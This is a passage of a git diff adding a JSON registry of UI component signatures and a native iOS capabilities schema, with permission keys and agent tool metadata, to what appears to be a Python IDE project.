on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SegmentedControl", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 1150040383 + }, + "ShareLink": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "share_link", + "call_signature": "ShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)", + "class_signature": "class ShareLink(View):", + "domain": "control", + "initializer_signature": "def __init__(self, item: str = '', subject: Optional[str] = None, message: Optional[str] = None) -> None: ...", + "line": 1667, + "methods": { + "__init__": { + "line": 1669, + "return_type": "None", + "signature": "def __init__(self, item: str = '', subject: Optional[str] = None, message: Optional[str] = None) -> None: ..." + } + }, + "public_name": "ShareLink", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1469488390 + }, + "SignInWithAppleButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "sign_in_with_apple", + "call_signature": "SignInWithAppleButton(type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None)", + "class_signature": "class SignInWithAppleButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None) -> None: ...", + "line": 1333, + "methods": { + "__init__": { + "line": 1338, + "return_type": "None", + "signature": "def __init__(self, type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "SignInWithAppleButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 224080439 + }, + "Slider": { + "aurora_slots": [ + { + "attr": "_value", + "name": "value", + "prop_id": 1024, + "python_descriptor": true, + "value_type": "double" + } + ], + "auto_register": true, + "bridge_type": "slider", + "call_signature": "Slider(value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None)", + "class_signature": "class Slider(View):", + "domain": "control", + "initializer_signature": "def __init__(self, value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ...", + "line": 1228, + "methods": { + "__init__": { + "line": 1239, + "return_type": "None", + "signature": "def __init__(self, value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ..." + }, + "aurora_set_value": { + "line": 1247, + "return_type": "None", + "signature": "def aurora_set_value(self, value: float) -> None: \"\"\"Update slider value via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Slider", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 70285166 + }, + "Spacer": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "spacer", + "call_signature": "Spacer(min_length: Optional[float] = None, minLength: Optional[float] = None)", + "class_signature": "class Spacer(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, min_length: Optional[float] = None, minLength: Optional[float] = None) -> None: ...", + "line": 1445, + "methods": { + "__init__": { + "line": 1447, + "return_type": "None", + "signature": "def __init__(self, min_length: Optional[float] = None, minLength: Optional[float] = None) -> None: ..." + } + }, + "public_name": "Spacer", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1641755527 + }, + "Stepper": { + "aurora_slots": [ + { + "attr": "_value", + "name": "value", + "prop_id": 1792, + "python_descriptor": true, + "value_type": "int" + } + ], + "auto_register": true, + "bridge_type": "stepper", + "call_signature": "Stepper(label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class Stepper(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1251, + "methods": { + "__init__": { + "line": 1254, + "return_type": "None", + "signature": "def __init__(self, label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + }, + "aurora_set_value": { + "line": 1257, + "return_type": "None", + "signature": "def aurora_set_value(self, value: int) -> None: \"\"\"Update stepper value via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Stepper", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 744999815 + }, + "SwipeActions": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "swipe_actions", + "call_signature": "SwipeActions(content: Optional[View] = None, leading: Optional[List[View]] = None, trailing: Optional[List[View]] = None)", + "class_signature": "class SwipeActions(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[View] = None, leading: Optional[List[View]] = None, trailing: Optional[List[View]] = None) -> None: ...", + "line": 1709, + "methods": { + "__init__": { + "line": 1711, + "return_type": "None", + "signature": "def __init__(self, content: Optional[View] = None, leading: Optional[List[View]] = None, trailing: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "SwipeActions", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1461308184 + }, + "Tab": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "tab", + "call_signature": "Tab(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None)", + "class_signature": "class Tab(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None) -> None: ...", + "line": 1558, + "methods": { + "__init__": { + "line": 1563, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None) -> None: ..." + } + }, + "public_name": "Tab", + "semantic_domain": "tab", + "source_file": "pyboot/appui.pyi", + "type_id": 866238563 + }, + "TabView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "tab_view", + "call_signature": "TabView(tabs: Optional[List[\"Tab\"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class TabView(View):", + "domain": "navigation", + "initializer_signature": "def __init__(self, tabs: Optional[List[\"Tab\"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1544, + "methods": { + "__init__": { + "line": 1554, + "return_type": "None", + "signature": "def __init__(self, tabs: Optional[List[\"Tab\"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "TabView", + "semantic_domain": "tab", + "source_file": "pyboot/appui.pyi", + "type_id": 668363369 + }, + "Table": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "table", + "call_signature": "Table(data: Optional[List[Dict[str, Any]]] = None, columns: Optional[List[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None)", + "class_signature": "class Table(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, data: Optional[List[Dict[str, Any]]] = None, columns: Optional[List[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None) -> None: ...", + "line": 1628, + "methods": { + "__init__": { + "line": 1630, + "return_type": "None", + "signature": "def __init__(self, data: Optional[List[Dict[str, Any]]] = None, columns: Optional[List[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "Table", + "semantic_domain": "table", + "source_file": "pyboot/appui.pyi", + "type_id": 1627220726 + }, + "Text": { + "aurora_slots": [ + { + "attr": "_content", + "name": "content", + "prop_id": 256, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "text", + "call_signature": "Text(content: str = '')", + "class_signature": "class Text(View):", + "domain": "text", + "initializer_signature": "def __init__(self, content: str = '') -> None: ...", + "line": 1043, + "methods": { + "__init__": { + "line": 1051, + "return_type": "None", + "signature": "def __init__(self, content: str = '') -> None: ..." + }, + "aurora_set_content": { + "line": 1052, + "return_type": "None", + "signature": "def aurora_set_content(self, content: str) -> None: \"\"\"Update text content via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Text", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1724291469 + }, + "TextEditor": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "text_editor", + "call_signature": "TextEditor(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class TextEditor(View):", + "domain": "control", + "initializer_signature": "def __init__(self, text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1192, + "methods": { + "__init__": { + "line": 1194, + "return_type": "None", + "signature": "def __init__(self, text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "TextEditor", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1932253471 + }, + "TextField": { + "aurora_slots": [ + { + "attr": "_text", + "name": "text", + "prop_id": 512, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "text_field", + "call_signature": "TextField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any)", + "class_signature": "class TextField(View):", + "domain": "control", + "initializer_signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any) -> None: ...", + "line": 1158, + "methods": { + "__init__": { + "line": 1169, + "return_type": "None", + "signature": "def __init__(self, placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any) -> None: ..." + }, + "aurora_set_text": { + "line": 1181, + "return_type": "None", + "signature": "def aurora_set_text(self, text: str) -> None: \"\"\"Update text field content via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "TextField", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1371338347 + }, + "TextFieldLink": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "text_field_link", + "call_signature": "TextFieldLink(title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)", + "class_signature": "class TextFieldLink(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ...", + "line": 1197, + "methods": { + "__init__": { + "line": 1199, + "return_type": "None", + "signature": "def __init__(self, title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "TextFieldLink", + "semantic_domain": "text_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1233292716 + }, + "TimelineView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "timeline_view", + "call_signature": "TimelineView(interval: float = 1.0, content: Optional[View] = None)", + "class_signature": "class TimelineView(View):", + "domain": "feedback", + "initializer_signature": "def __init__(self, interval: float = 1.0, content: Optional[View] = None) -> None: ...", + "line": 1676, + "methods": { + "__init__": { + "line": 1678, + "return_type": "None", + "signature": "def __init__(self, interval: float = 1.0, content: Optional[View] = None) -> None: ..." + } + }, + "public_name": "TimelineView", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 796036453 + }, + "Toggle": { + "aurora_slots": [ + { + "attr": "_is_on", + "name": "is_on", + "prop_id": 768, + "python_descriptor": true, + "value_type": "bool" + } + ], + "auto_register": true, + "bridge_type": "toggle", + "call_signature": "Toggle(label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None)", + "class_signature": "class Toggle(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None) -> None: ...", + "line": 1210, + "methods": { + "__init__": { + "line": 1221, + "return_type": "None", + "signature": "def __init__(self, label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None) -> None: ..." + }, + "aurora_set_is_on": { + "line": 1224, + "return_type": "None", + "signature": "def aurora_set_is_on(self, value: bool) -> None: \"\"\"Update toggle state via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Toggle", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 1847446242 + }, + "ToolbarItem": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "toolbar_item", + "call_signature": "ToolbarItem(placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None)", + "class_signature": "class ToolbarItem(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None) -> None: ...", + "line": 1955, + "methods": { + "__init__": { + "line": 1965, + "return_type": "None", + "signature": "def __init__(self, placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None) -> None: ..." + } + }, + "public_name": "ToolbarItem", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 2052423522 + }, + "ToolbarSpacer": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "toolbar_spacer", + "call_signature": "ToolbarSpacer(sizing: str = 'fixed', placement: str = 'automatic')", + "class_signature": "class ToolbarSpacer(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, sizing: str = 'fixed', placement: str = 'automatic') -> None: ...", + "line": 1969, + "methods": { + "__init__": { + "line": 1971, + "return_type": "None", + "signature": "def __init__(self, sizing: str = 'fixed', placement: str = 'automatic') -> None: ..." + } + }, + "public_name": "ToolbarSpacer", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 572014512 + }, + "VStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "vstack", + "call_signature": "VStack(content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class VStack(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1394, + "methods": { + "__init__": { + "line": 1401, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "VStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 549758049 + }, + "VideoPlayer": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "video_player", + "call_signature": "VideoPlayer(url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None)", + "class_signature": "class VideoPlayer(View):", + "domain": "media", + "initializer_signature": "def __init__(self, url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None) -> None: ...", + "line": 1783, + "methods": { + "__init__": { + "line": 1792, + "return_type": "None", + "signature": "def __init__(self, url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "VideoPlayer", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 585922776 + }, + "ViewThatFits": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "view_that_fits", + "call_signature": "ViewThatFits(content: Optional[List[View]] = None)", + "class_signature": "class ViewThatFits(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ...", + "line": 1492, + "methods": { + "__init__": { + "line": 1494, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "ViewThatFits", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 283888 + }, + "WebView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "web_view", + "call_signature": "WebView(url: Optional[str] = None, html: Optional[str] = None)", + "class_signature": "class WebView(View):", + "domain": "media", + "initializer_signature": "def __init__(self, url: Optional[str] = None, html: Optional[str] = None) -> None: ...", + "line": 1739, + "methods": { + "__init__": { + "line": 1741, + "return_type": "None", + "signature": "def __init__(self, url: Optional[str] = None, html: Optional[str] = None) -> None: ..." + } + }, + "public_name": "WebView", + "semantic_domain": "web", + "source_file": "pyboot/appui.pyi", + "type_id": 1561741721 + }, + "WheelPicker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "wheel_picker", + "call_signature": "WheelPicker(options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class WheelPicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1281, + "methods": { + "__init__": { + "line": 1283, + "return_type": "None", + "signature": "def __init__(self, options: Optional[List[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "WheelPicker", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 1690416975 + }, + "ZStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "zstack", + "call_signature": "ZStack(content: Optional[List[View]] = None, alignment: str = 'center')", + "class_signature": "class ZStack(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center') -> None: ...", + "line": 1409, + "methods": { + "__init__": { + "line": 1411, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center') -> None: ..." + } + }, + "public_name": "ZStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 1460036634 + } + } +} diff --git a/docs/schemas/native_capabilities_schema.json b/docs/schemas/native_capabilities_schema.json new file mode 100644 index 0000000..fa431d0 --- /dev/null +++ b/docs/schemas/native_capabilities_schema.json @@ -0,0 +1,655 @@ +{ + "schema": "pythonide.native_capabilities.v1", + "version": 1, + "status": "audit_only", + "description": "Canonical staged contract for PythonIDE native iOS capability modules. Validates docs, Agent routing, aliases, pyboot module presence, permission keys, native safety policy, and Agent tool surface metadata while Swift still owns execution authorization and adapter behavior.", + "topLevelDocs": { + "user": [ + "ios-native", + "miniapp-native-capabilities" + ], + "agent": [ + "ios-native-agent", + "miniapp-native-capabilities-agent" + ] + }, + "permissionKeys": [ + "biometric", + "bluetooth", + "calendar", + "camera", + "contacts", + "health", + "location", + "microphone", + "motion", + "nfc", + "notifications", + "photos", + "reminders", + "speech" + ], + "rules": { + "sideEffectsRequireUserAction": true, + "nativeCallsStayOutOfAppUIBody": true, + "secretsUseKeychain": true, + "permissionKeyForNotifications": "notifications" + }, + "agentToolSurfaces": { + "device": { + "toolId": "device", + "actions": ["status"], + "modules": ["device"], + "scopeIds": ["device.status"], + "description": "Direct read-only device status facts exposed by the iOS runtime.", + "actionDetails": { + "status": { + "modules": ["device"], + "scopeIds": ["device.status"], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read battery, charging state, device model, and system version from the native runtime." + } + } + }, + "native_query": { + "toolId": "native_query", + "actions": ["photos_count", "photos_summary", "contacts_count", "contacts_summary", "calendar_events", "reminders", "location", "device_status", "app_info", "clipboard_text", "notification_settings"], + "modules": ["photos", "contacts", "calendar_events", "location", "device", "clipboard", "notification"], + "scopeIds": ["native.query"], + "description": "Read-only query bridge for current app/device/user-authorized local data.", + "actionAliases": { + "current_location": "location" + }, + "actionDetails": { + "photos_count": { + "modules": ["photos"], + "scopeIds": ["native.query"], + "permissionKeys": ["photos"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Count Photos library assets after Photos authorization is available." + }, + "photos_summary": { + "modules": ["photos"], + "scopeIds": ["native.query"], + "permissionKeys": ["photos"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Summarize Photos library assets after Photos authorization is available." + }, + "contacts_count": { + "modules": ["contacts"], + "scopeIds": ["native.query"], + "permissionKeys": ["contacts"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Count Contacts entries after Contacts authorization is available." + }, + "contacts_summary": { + "modules": ["contacts"], + "scopeIds": ["native.query"], + "permissionKeys": ["contacts"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Return bounded Contacts samples after Contacts authorization is available." + }, + "calendar_events": { + "modules": ["calendar_events"], + "scopeIds": ["native.query"], + "permissionKeys": ["calendar"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read calendar events in a bounded date window after Calendar authorization is available." + }, + "reminders": { + "modules": ["calendar_events"], + "scopeIds": ["native.query"], + "permissionKeys": ["reminders"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read reminders after Reminders authorization is available." + }, + "location": { + "modules": ["location"], + "scopeIds": ["native.query"], + "permissionKeys": ["location"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read the current location after Location authorization is available." + }, + "device_status": { + "modules": ["device"], + "scopeIds": ["native.query"], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read local battery and device status facts." + }, + "app_info": { + "modules": ["device"], + "scopeIds": ["native.query"], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read local app bundle, locale, timezone, and device facts." + }, + "clipboard_text": { + "modules": ["clipboard"], + "scopeIds": ["native.query"], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Read bounded text from the general pasteboard." + }, + "notification_settings": { + "modules": ["notification"], + "scopeIds": ["native.query"], + "permissionKeys": ["notifications"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": false, + "summary": "Read current local notification authorization and delivery settings." + } + } + }, + "native": { + "toolId": "native", + "actions": ["photo_save", "calendar_create", "file_export"], + "modules": ["photos", "calendar_events", "dialogs"], + "scopeIds": ["native.photos", "native.calendar", "native.export"], + "description": "User-visible native mutation/export bridge for Photos, Calendar, and share sheet actions.", + "actionDetails": { + "photo_save": { + "modules": ["photos"], + "scopeIds": ["native.photos"], + "permissionKeys": ["photos"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Save a workspace image or video file into the user's Photos library." + }, + "calendar_create": { + "modules": ["calendar_events"], + "scopeIds": ["native.calendar"], + "permissionKeys": ["calendar"], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Create a Calendar event through EventKit after Calendar authorization is available." + }, + "file_export": { + "modules": ["dialogs"], + "scopeIds": ["native.export"], + "permissionKeys": [], + "agentRisk": "nativePermission", + "requiresConfirmation": false, + "requiresUserAction": true, + "summary": "Present the iOS share/export sheet for a workspace file." + } + } + } + }, + "aliases": { + "calendar-events": "calendar_events", + "calendar events": "calendar_events", + "live-activity": "live_activity", + "live activity": "live_activity", + "objc-util": "objc_util", + "objc util": "objc_util", + "vision-helper": "vision_helper", + "vision helper": "vision_helper", + "core-ml": "coreml", + "core ml": "coreml" + }, + "categories": { + "deviceSensors": "Device state, sensors, location, feedback, biometrics, and health.", + "systemServices": "Permissions, persistence, secrets, dialogs, notifications, contacts, calendar, live activities, and NFC.", + "mediaVision": "Photos, audio, speech, video, Vision, and Core ML.", + "networkData": "Network, WebSocket, Bluetooth, background tasks, and C extension availability.", + "automationExtensions": "Shortcuts, Objective-C bridge access, and keyboard toolbar integration." + }, + "modules": { + "device": { + "importName": "device", + "category": "deviceSensors", + "docId": "device-module", + "docFile": "device-module.md", + "agentDocId": "device-module-agent", + "agentDocFile": "device-module-agent.md", + "capabilities": ["device_state", "screen", "battery", "thermal_state"], + "permissions": [], + "risk": "read_only", + "requiresUserAction": false, + "failureStates": ["unavailable"] + }, + "location": { + "importName": "location", + "category": "deviceSensors", + "docId": "location-module", + "docFile": "location-module.md", + "agentDocId": "location-module-agent", + "agentDocFile": "location-module-agent.md", + "capabilities": ["gps", "heading", "geocoding"], + "permissions": ["location"], + "risk": "permissioned_read", + "requiresUserAction": true, + "failureStates": ["denied", "restricted", "unavailable", "timeout"] + }, + "motion": { + "importName": "motion", + "category": "deviceSensors", + "docId": "motion-module", + "docFile": "motion-module.md", + "agentDocId": "motion-module-agent", + "agentDocFile": "motion-module-agent.md", + "capabilities": ["accelerometer", "gyroscope", "attitude", "barometer"], + "permissions": ["motion"], + "risk": "sensor_stream", + "requiresUserAction": true, + "failureStates": ["unavailable", "not_started"] + }, + "haptics": { + "importName": "haptics", + "category": "deviceSensors", + "docId": "haptics-module", + "docFile": "haptics-module.md", + "agentDocId": "haptics-module-agent", + "agentDocFile": "haptics-module-agent.md", + "capabilities": ["impact_feedback", "notification_feedback", "core_haptics"], + "permissions": [], + "risk": "system_feedback", + "requiresUserAction": true, + "failureStates": ["unsupported"] + }, + "biometric": { + "importName": "biometric", + "category": "deviceSensors", + "docId": "biometric-module", + "docFile": "biometric-module.md", + "agentDocId": "biometric-module-agent", + "agentDocFile": "biometric-module-agent.md", + "capabilities": ["face_id", "touch_id", "passcode_fallback"], + "permissions": ["biometric"], + "risk": "sensitive_gate", + "requiresUserAction": true, + "failureStates": ["denied", "cancelled", "unavailable", "failed"] + }, + "health": { + "importName": "health", + "category": "deviceSensors", + "docId": "health-module", + "docFile": "health-module.md", + "agentDocId": "health-module-agent", + "agentDocFile": "health-module-agent.md", + "capabilities": ["steps", "heart_rate", "sleep", "body_metrics"], + "permissions": ["health"], + "risk": 